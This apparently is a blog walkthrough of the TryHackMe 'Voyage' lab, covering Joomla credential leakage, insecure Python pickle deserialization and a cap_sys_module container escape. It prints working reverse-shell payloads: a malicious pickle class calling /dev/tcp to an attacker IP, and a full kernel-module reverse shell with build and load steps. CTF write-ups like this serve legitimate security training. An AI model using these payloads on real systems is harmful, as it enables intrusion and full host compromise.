← Back to list

Tryhackme Walkthough: Voyage

Sometimes in a pentest, you get root access very quickly. But is it the real root or just a container? The voyage might still be going on.

Indigo Shadow · 2025-11-20 04:25 · 6 claps · 9.8 min read
#container-escape #insecure-deserialization #tryhackme-walkthrough #voyage-thm-writeup #capsysmodule
Open on Medium ↗
Wiki topics: ☁️ · DevOps & Cloud 🔒 · Cybersecurity

Tryhackme Walkthough: Voyage

Sometimes in a pentest, you get root access very quickly. But is it the real root or just a container? The voyage might still be going on.

Link to THM room here.

1. Recon — nmap

  • nmap scan reveals the ports 22, 80 and 2222.
# Nmap 7.95 scan initiated Wed Nov 12 06:09:44 2025 as: /usr/lib/nmap/nmap --privileged -sCV -o nmap.txt voyage.thm
Nmap scan report for voyage.thm (10.201.36.117)
Host is up (0.31s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:63:09:e4:55:6d:6a:a0:9f:64:5f:f2:45:b5:55:3f (ECDSA)
|_  256 a7:01:ac:70:fe:94:cc:1e:c5:75:58:9c:16:88:1e:e9 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:4a:7e:34:01:09:f8:68:d8:f7:dd:b8:57:d4:17:cf (RSA)
|   256 8d:cd:5e:60:35:c8:65:66:3a:c5:5c:2f:ac:62:93:80 (ECDSA)
|_  256 a9:d5:16:b1:5d:4a:4c:94:3f:fd:a9:68:5f:24:ee:79 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 12 06:10:19 2025 -- 1 IP address (1 host up) scanned in 34.98 seconds

2. Recon — Website

  • Since there is only ssh and http ports, the next step is to check the website at port 80
  • For convenience, I have added the ip address as voyage.thm in /etc/hosts.
sudo echo "10.49.178.202 voyage.thm" >> /etc/hosts
  • There is only a login page on the website. Standard username and passwords don’t work (e.g. admin:password)

  • I usually use gobuster, but since there’s robots.txt already provides so many folders, we can just check these first.
  • I check the administrator directory — it’s another login.
  • With some googling about the Joomla CMS and exploits, we find that the server is leaking info. In particular, at http://voyage.thm/administrator/manifests/files/joomla.xml, I find that the Joomla is version 4.2.7.

  • After some searching Joomla 4.2.7, I eventually found that it has an improper API access vulnerability, which we can use metasploit.

  • Run the commands: options → set RHOSTS <ip_address> → run. In a few seconds, you get some creds.

  • I tried the creds on login page, but it didn’t work. The creds worked for ssh at port 2222!

3. Shell as root (in container 1)

  • Upon login, you see that the hostname is an alphanumeric string. This suggests that we are in a container.
└─$ ssh root@voyage.thm -p 2222
root@voyage.thm's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Jun 25 18:01:57 2025 from 10.10.9.89
root@f5eb774507f2:~# 
  • You can confirm this by checking the root folder — there is a .dockerenv file.
root@f5eb774507f2:~# ls -la /
<-- snip -->
-rwxr-xr-x   1 root root    0 Jun 25 18:01 .dockerenv
  • When you run ps aux, it shows a short list of processes, another indication of docker container. This short list indicates that it is in a separate namespace from the host — this is considered a secure configuration. (I wrote about shared namespace container exploits previously here.)
root@f5eb774507f2:~# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1  12196  7040 ?        Ss   00:53   0:00 sshd: /usr/sbin/sshd
root           9  0.0  0.2  13908  8576 ?        Rs   01:22   0:00 sshd: root@pts/0
root          20  0.0  0.0   6000  3712 pts/0    Ss   01:22   0:00 -bash
root          25  0.0  0.0   7652  3200 pts/0    R+   01:25   0:00 ps aux
  • Check capabilities — there is no cap_sys_admin, cap_sys_module, cap_sys_ptrace. These are the ones that can potentially allow for escape.
root@f5eb774507f2:~# capsh --print
WARNING: libcap needs an update (cap=40 should have a name).
Current: = cap_chown,cap_dac_override,cap_fowner,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write
<-- snip--> 
  • Check the container’s IP address, then do a network scan of the local network. Conveniently, nmap binary exists in the container.
root@f5eb774507f2:~# hostname -I
192.168.100.10

root@f5eb774507f2:~# nmap 192.168.100.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-20 01:31 UTC
Nmap scan report for ip-192-168-100-1.ap-south-1.compute.internal (192.168.100.1)
Host is up (0.0000050s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1
5000/tcp open  upnp
MAC Address: 02:42:5B:D3:2C:DE (Unknown)

Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)
Host is up (0.0000060s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
5000/tcp open  upnp
MAC Address: 02:42:C0:A8:64:0C (Unknown)

Nmap scan report for f5eb774507f2 (192.168.100.10)
Host is up (0.0000040s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (3 hosts up) scanned in 2.84 seconds
  • Aside from the current container, there are 2 other connected devices. The first one must be the container’s host. Let’s try investigating port 5000 of 192.168.100.12. A more detailed nmap scan shows that it is a http port.

  • Since we can’t view it directly from the ssh shell, we will have to forward the port to our machine. On my machine, I use the following command:
$ ssh -L 5000:192.168.100.12:5000 root@voyage.thm -p 2222
root@voyage.thm's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1031-aws x86_64)
<-- snip -->

4. Secret Finance Portal

  • We can now view the site on our own machine, from the browser, at http://localhost:5000. It is a login page again, and I try the same and only set of credentials I have. It worked.

  • There’s nothing much, so I intercepted the http request using burpsuite. Took me a while, but I finally figured out the secret is in the session_data cookie. It is a hex string that reveals some interesting text when decoded. When you see such cookies (typically base64 or hex), we can suspect a insecure deserialisation vulnerability.

  • Using the below python program to ‘unpickle’ the string, we see it is a Json object.
import pickle
session_data = "80049525000000000000007d94288c0475736572948c0474657374948c07726576656e7565948c05383530303094752e"
obj = pickle.loads(bytes.fromhex(session_data))
print("Unpickled object:", obj)

# Output: Unpickled object: {'user': 'test', 'revenue': '85000'}

Insecure deserialization occurs when an application blindly reconstructs objects from serialized data without validation. An attacker can create malicious serialized data that contains hidden commands or code. When the application deserializes this data, it executes those commands, often leading to remote code execution.

  • Now let’s create a malicious string, that when deserialised by the server, creates a reverse shell that connects to my machine. I use the below python program to create such a string. You need to change your ip address and port accordingly.
import pickle, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/10.4.103.212/4444 0>&1'",))

serialized_data = pickle.dumps(Exploit()).hex()
print(serialized_data)
  • Use Burpsuite to send a request to http://localhost:5000 again, but change the session data to the malicious serialized_data generated by python code above. Meanwhile set up a listener in your machine.

5. Shell as root (in another container!)

  • After a while, you get a connection. This is another container, and you can find user.txt in the /root folder.
(kali㉿kali)-[~/Desktop/voyage]
└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [192.168.135.244] from (UNKNOWN) [10.49.178.202] 35092
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@d221f7bc7bf8:/finance-app# ls -la /root
ls -la
total 140
drwx------ 1 root root  4096 Jun 25 14:53 .
drwxr-xr-x 1 root root  4096 Jun 26 18:36 ..
-rw-r--r-- 1 root root   137 Jun 25 14:48 .Module.symvers.cmd
-rw------- 1 root root   446 Jun 26 18:37 .bash_history
-rw-r--r-- 1 root root  3106 Oct 15  2021 .bashrc
drwxr-xr-x 3 root root  4096 Jun 24 12:21 .local
-rw-r--r-- 1 root root    86 Jun 25 14:48 .modules.order.cmd
-rw-r--r-- 1 root root   161 Jul  9  2019 .profile
-rw-r--r-- 1 root root   163 Jun 25 14:48 .revshell.ko.cmd
-rw-r--r-- 1 root root   120 Jun 25 14:48 .revshell.mod.cmd
-rw-r--r-- 1 root root 45792 Jun 25 14:48 .revshell.mod.o.cmd
-rw-r--r-- 1 root root 44610 Jun 25 14:48 .revshell.o.cmd
-rw-r--r-- 1 root root    38 Jun 24 15:17 user.txt
  • There are some interesting files. Ignoring the .cmd postfix, it hints at kernel module exploits. (.ko stand for kernel object). You can escape a container using kernel module exploits if you have cap_sys_module, which I confirmed that we have!
root@d221f7bc7bf8:~# capsh --print
capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
<-- snip -->
  • Loading a kernel module is complex and requires a deep understanding of linux kernels. You can read more about them in the references below.
  • First in my own machine I create “shell.c”. You can find this on Hacktricks — just change the ip address and port number to your own machine.
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
  • Next, still in my own machine, I create “Makefile”. This is the one you need to be more careful with in this CTF! It won’t work if you just use the one on Hacktricks. I will explain this a bit more in the next section — for now, just change the folder to “/lib/modules/6.8.0–1030-aws/build”. (Important: The blank char before each make word in the Makefile must be a tab, not spaces!)
obj-m +=shell.o

all:
    make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules

clean:
    make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
  • Transfer both shell.c and Makefile to the container. Once done, run the command “make” in the container → Set up listener in your own machine → run the command “insmod shell.ko”
root@d221f7bc7bf8:~# make
make
make -C /lib/modules/6.8.0-1030-aws/build M=build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-6.8.0-1030-aws'
warning: the compiler differs from the one used to build the kernel
  The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
  You are using:           gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
  CC [M]  /root/shell.o
  MODPOST /root/Module.symvers
  CC [M]  /root/shell.mod.o
  LD [M]  /root/shell.ko
  BTF [M] /root/shell.ko
Skipping BTF generation for /root/shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.8.0-1030-aws'

root@d221f7bc7bf8:~# insmod shell.ko
insmod shell.ko
  • Your listener will then receive a connection — this time as the real root of the host, where the root.txt can be found in /root.

Understanding the cap_sys_module Escape

What is cap_sys_module capability?

It lets you load kernel modules (.ko files) into the Linux kernel itself. Loading a kernel module = you can inject your own code straight into the operating system, and it runs with the highest possible privileges.

How do we build a kernel code?

A kernel code needs to be built with the exact kernel version that your machine is using. The version can be found using “uname -r” command.

We would first install the kernel headers — basically it creates all the necessary modules and build environment needed to compile your c program into the kernel code.

# Install the exact set of header files that match the kernel I am running right now.
sudo apt-get install linux-headers-$(uname -r)

We then create a Makefile, as follows, before you call ‘make’ to compile.

So what was the issue in the CTF?

Well, since we are in a CTF container, we can’t do “apt-get install linux-headers-$(uname -r)”, since it’s not connected to the internet. In a real-world situation, I imagine we want to avoid this too, for stealth reasons.

In the CTF, we check the kernel version:

root@d221f7bc7bf8:~# uname -r
uname -r
6.8.0-1031-aws

But the kernel headers available in the container are different versions — this means we don’t have the exact build environment required for our kernel.

root@d221f7bc7bf8:/finance-app# cd /lib/modules
cd /lib/modules
root@d221f7bc7bf8:/lib/modules# ls -la
ls -la
total 16
drwxr-xr-x 1 root root 4096 Jun 26 18:34 .
drwxr-xr-x 1 root root 4096 Jun 17 20:16 ..
drwxr-xr-x 2 root root 4096 Jun 17 20:16 6.8.0-1029-aws
drwxr-xr-x 2 root root 4096 Jun 26 18:34 6.8.0-1030-aws

We can still build it anyway, using the closest version available — 6.8.0–1030-aws. That’s why in our Makefile we used this, instead of simply referring to $(uname -r). The build environment for $(uname -r) doesn’t exist!

make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules

That’s also why we get a warning when we use make:

“warning: the compiler differs from the one used to build the kernel”

Why did the module load even when we use a different kernel version from the build directory?

6.8.0–1031-aws is a minor patch over 6.8.0–1030-aws. The kernel is designed to load modules even with minor patch-level mismatches if the core version (6.8.0) and the ABI signature (a hash of the exported functions) remain the same

References (on cap_sys_module)


메타데이터
post_id
beaa3c853d80
slug
tryhackme-walkthough-voyage-beaa3c853d80
url
https://medium.com/@indigoshadowwashere/tryhackme-walkthough-voyage-beaa3c853d80
canonical_url
https://medium.com/@indigoshadowwashere/tryhackme-walkthough-voyage-beaa3c853d80
author_url
https://medium.com/@indigoshadowwashere
status
ok
fetched_at
2026-08-30 14:23:32